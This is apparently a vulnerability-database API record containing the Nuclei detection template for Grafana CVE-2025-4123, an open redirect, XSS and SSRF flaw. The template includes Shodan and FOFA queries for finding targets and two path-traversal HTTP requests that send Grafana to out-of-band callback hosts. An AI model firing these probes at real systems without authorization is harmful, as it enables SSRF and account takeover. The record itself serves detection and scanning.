{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-4123/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-4123/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-4123/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-4123/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-4123/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-4123"},"sightings":{"href":"/api/v1/sightings/cve-2025-4123"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-4123.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-4123\n\ninfo:\n  name: Grafana - XSS / Open Redirect / SSRF via Client Path Traversal\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n  impact: |\n    Attackers can exploit path traversal to achieve open redirect, XSS, or SSRF attacks, potentially leading to internal data exposure or account takeover.\n  remediation: |\n    Upgrade Grafana to the latest version that properly validates and sanitizes file paths in the render endpoint.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L\n    cvss-score: 7.6\n    cve-id: CVE-2025-4123\n    cwe-id: CWE-79,CWE-601\n    epss-score: 0.97007\n    epss-percentile: 0.9989\n  reference:\n    - https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53\n    - https://grafana.com/blog/2025/05/21/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: product:\"Grafana\"\n    fofa-query: app=\"Grafana\"\n  tags: cve,cve2025,grafana,redirect,unauth,oss,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /render/public/..%252f%255C{{interactsh-url}}%252f%253F%252f..%252f.. HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        name: open-redirect\n        dsl:\n          - status_code == 302 && contains(location, '/\\\\oast.pro/?/../../')\n\n      - type: dsl\n        name: ssrf\n        dsl:\n          - contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')\n# digest: 4a0a00473045022100f8789d1b4068ed71d8400cd5eaf5715b51a7271a9292c94497286ae02a6a952302205e3abd860349ba99b681e67b750d5135407e05bf2f280e37f64845ce5bb234dd:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-4123"}